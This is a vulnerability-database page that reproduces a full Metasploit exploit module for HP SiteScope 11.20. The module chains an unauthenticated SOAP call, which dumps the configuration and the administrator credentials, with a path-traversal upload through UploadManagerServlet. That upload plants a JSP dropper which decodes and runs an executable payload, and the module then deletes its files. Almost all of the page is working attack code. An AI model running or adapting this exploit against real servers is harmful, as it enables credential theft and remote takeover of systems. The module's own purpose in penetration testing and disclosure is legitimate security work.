Lucene search
K

HP SiteScope Remote Code Execution Vulnerability

🗓️ 06 Sep 2012 00:00:00Reported by rgodType 
zdt
 zdt
🔗 0day.today👁 15 Views

HP SiteScope Remote Code Execution vulnerability exploitation module for HP SiteScope 11.20 over Windows 2003 SP2. Module exploits authentication bypass and UploadManagerServlet to upload arbitrary payload in JSP

Code
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'HP SiteScope Remote Code Execution',
      'Description' => %q{
          This module exploits a code execution flaw in HP SiteScope. It exploits two
        vulnerabilities in order to get its objective. An authentication bypass in the
        getSiteScopeConfiguration operation, available through the APISiteScopeImpl AXIS
        service, to retrieve the administrator credentials and subsequently abuses the
        UploadManagerServlet to upload an arbitrary payload embedded in a JSP. The module
        has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2.
      },
      'Author'       =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'OSVDB', '85120' ],
          [ 'OSVDB', '85121' ],
          [ 'BID', '55269' ],
          [ 'BID', '55273' ],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-173/' ],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ]
        ],
      'Privileged'  => true,
      'Platform'    => 'win',
      'Targets'     =>
        [
          [ 'HP SiteScope 11.20 / Windows x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 29 2012'))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
      ], self.class)
  end

  def on_new_session(client)
    if client.type == "meterpreter"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      client.fs.file.rm("../#{@var_hexfile}.txt")
      client.fs.file.rm("../#{@jsp_name}.jsp")
    else
      client.shell_command_token("del ..\\#{@var_hexfile}.txt")
      client.shell_command_token("del ..\\#{@jsp_name}.jsp")
    end
  end

  def exploit
    @peer = "#{rhost}:#{rport}"
    @uri = target_uri.path
    @uri << '/' if @uri[-1,1] != '/'

    # Retrieve administrator credentials
    print_status("#{@peer} - Retrieving HP SiteScope Configuration")
    conf = access_configuration

    if not conf or conf.empty?
      print_error("#{@peer} - Failed to retrieve the HP SiteScope Configuration")
      return
    end

    print_status("#{@peer} - Retrieving HP SiteScope administrator credentials")

    admin_data = conf.split("\x03\x5F\x69\x64\x74\x00\x0D\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x6F\x72\x74\x00")[1]

    if not admin_data or admin_data.empty?
      print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
      return
    end

    admin_password = admin_data.split(/\x09_passwordt\x00/)[1]

    if not admin_password or admin_password.empty?
      print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
      return
    end

    password_length = admin_password.unpack("C").first
    if password_length > 0
      password = admin_password[1, password_length]
    else
      password = ""
    end

    admin_user_type, admin_user = admin_password.split(/\x06(_login[q|t])\x00/)[1, 2]

    if not admin_user_type or admin_user_type.empty?
      print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
      return
    end

    if admin_user_type == "_logint"
      if not admin_user or admin_user.empty?
        print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
        return
      end
      user_length = admin_user.unpack("C").first
    else
      user_length = 0
    end

    if user_length > 0
      user = admin_user[1, user_length]
    else
      user = ""
    end

    # Generate an initial JSESSIONID
    print_status("#{@peer} - Retrieving an initial JSESSIONID")
    res = send_request_cgi(
      'uri'    => "#{@uri}servlet/Main",
      'method' => 'POST',
    )

    if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
      session_id = $1
    else
      print_error("#{@peer} - Retrieve of initial JSESSIONID failed")
      return
    end

    # Authenticate
    login_data = "j_username=#{user}&j_password=#{password}"

    print_status("#{@peer} - Authenticating on HP SiteScope Configuration")
    res = send_request_cgi(
      {
        'uri'    => "#{@uri}j_security_check",
        'method' => 'POST',
        'data'   => login_data,
        'ctype'  => "application/x-www-form-urlencoded",
        'headers' =>
          {
            'Cookie' => "JSESSIONID=#{session_id}",
          }
      })

    if res and res.code == 302 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
      session_id = $1
      redirect =  URI(res.headers['Location']).path
    else
      print_error("#{@peer} - Authentication on SiteScope failed")
      return
    end

    # Follow redirection to complete authentication process
    print_status("#{@peer} - Following redirection to finish authentication")
    res = send_request_cgi(
      {
        'uri' => redirect,
        'method' => 'GET',
        'headers' =>
          {
            'Cookie' => "JSESSIONID=#{session_id}",
          }
      })

    if not res or res.code != 200
      print_error("#{@peer} - Authentication on SiteScope failed")
      return
    end

    # Upload the JSP and the raw payload
    @jsp_name = rand_text_alphanumeric(8+rand(8))

    # begin <payload>.jsp
    var_hexpath       = Rex::Text.rand_text_alpha(rand(8)+8)
    var_exepath       = Rex::Text.rand_text_alpha(rand(8)+8)
    var_data          = Rex::Text.rand_text_alpha(rand(8)+8)
    var_inputstream   = Rex::Text.rand_text_alpha(rand(8)+8)
    var_outputstream  = Rex::Text.rand_text_alpha(rand(8)+8)
    var_numbytes      = Rex::Text.rand_text_alpha(rand(8)+8)
    var_bytearray     = Rex::Text.rand_text_alpha(rand(8)+8)
    var_bytes         = Rex::Text.rand_text_alpha(rand(8)+8)
    var_counter       = Rex::Text.rand_text_alpha(rand(8)+8)
    var_char1         = Rex::Text.rand_text_alpha(rand(8)+8)
    var_char2         = Rex::Text.rand_text_alpha(rand(8)+8)
    var_comb          = Rex::Text.rand_text_alpha(rand(8)+8)
    var_exe           = Rex::Text.rand_text_alpha(rand(8)+8)
    @var_hexfile      = Rex::Text.rand_text_alpha(rand(8)+8)
    var_proc          = Rex::Text.rand_text_alpha(rand(8)+8)
    var_fperm         = Rex::Text.rand_text_alpha(rand(8)+8)
    var_fdel          = Rex::Text.rand_text_alpha(rand(8)+8)

    jspraw =  "<%@ page import=\"java.io.*\" %>\n"
    jspraw << "<%\n"
    jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"
    jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
    jspraw << "String #{var_data} = \"\";\n"

    jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
    jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
    jspraw << "}\n"

    jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
    jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"

    jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
    jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
    jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
    jspraw << "#{var_inputstream}.close();\n"

    jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
    jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
    jspraw << "{\n"
    jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
    jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
    jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
    jspraw << "#{var_comb} <<= 4;\n"
    jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
    jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
    jspraw << "}\n"

    jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
    jspraw << "#{var_outputstream}.close();\n"

    jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
    jspraw << "String[] #{var_fperm} = new String[3];\n"
    jspraw << "#{var_fperm}[0] = \"chmod\";\n"
    jspraw << "#{var_fperm}[1] = \"+x\";\n"
    jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
    jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
    jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
    jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
    jspraw << "}\n"
    # Linux and other UNICES allow removing files while they are in use...
    jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
    jspraw << "} else {\n"
    # Windows does not ..
    jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
    jspraw << "}\n"

    jspraw << "%>\n"

    # Specify the payload in hex as an extra file..
    payload_hex = payload.encoded_exe.unpack('H*')[0]

    post_data = Rex::MIME::Message.new
    post_data.add_part(payload_hex, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"")

    print_status("#{@peer} - Uploading the payload")
    res = send_request_cgi(
      {
        'uri'    => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=..\\..\\..\\..\\..\\..\\#{@var_hexfile}.txt&UploadFilesHandler.ovveride=true",
        'method' => 'POST',
        'data'   => post_data.to_s,
        'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
        'headers' =>
          {
            'Cookie' => "JSESSIONID=#{session_id}",
          }
      })

    if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/
      path = $1
      print_good("#{@peer} - Payload successfully uploaded to #{path}")
    else
      print_error("#{@peer} - Error uploading the Payload")
      return
    end

    post_data = Rex::MIME::Message.new
    post_data.add_part(jspraw, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"")

    print_status("#{@peer} - Uploading the JSP")
    res = send_request_cgi(
      {
        'uri'    => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=..\\..\\..\\..\\..\\..\\#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true",
        'method' => 'POST',
        'data'   => post_data.to_s,
        'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
        'headers' =>
          {
            'Cookie' => "JSESSIONID=#{session_id}",
          }
      })

    if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/
      path = $1
      print_good("#{@peer} - JSP successfully uploaded to #{path}")
    else
      print_error("#{@peer} - Error uploading the JSP")
      return
    end

    print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...")
    send_request_cgi(
      {
        'uri'    => "#{@uri}#{@jsp_name}.jsp",
        'method' => 'GET',
        'headers' =>
          {
            'Cookie' => "JSESSIONID=#{session_id}",
          }
      })
  end

  def access_configuration

    data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
    data << "<wsns0:Envelope" + "\r\n"
    data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
    data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n"
    data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"
    data << ">" + "\r\n"
    data << "<wsns0:Body" + "\r\n"
    data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"
    data << ">" + "\r\n"
    data << "<impl:getSiteScopeConfiguration" + "\r\n"
    data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n"
    data << "></impl:getSiteScopeConfiguration>" + "\r\n"
    data << "</wsns0:Body>" + "\r\n"
    data << "</wsns0:Envelope>"

    res = send_request_cgi({
      'uri'      => "#{@uri}services/APISiteScopeImpl",
      'method'   => 'POST',
      'ctype'    => 'text/xml; charset=UTF-8',
      'data'     => data,
      'headers'  => {
        'SOAPAction'    => '""',
      }})

    if res and res.code == 200

      if res.headers['Content-Type'] =~ /boundary="(.*)"/
        boundary = $1
      end
      if not boundary or boundary.empty?
        return nil
      end

      if res.body =~ /getSiteScopeConfigurationReturn href="cid:([A-F0-9]*)"/
        cid = $1
      end
      if not cid or cid.empty?
        return nil
      end

      if res.body =~ /#{cid}>\r\n\r\n(.*)\r\n--#{boundary}/m
        loot = Rex::Text.ungzip($1)
      end
      if not loot or loot.empty?
        return nil
      end

      return loot
    end

    return nil
  end

end



#  0day.today [2018-03-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation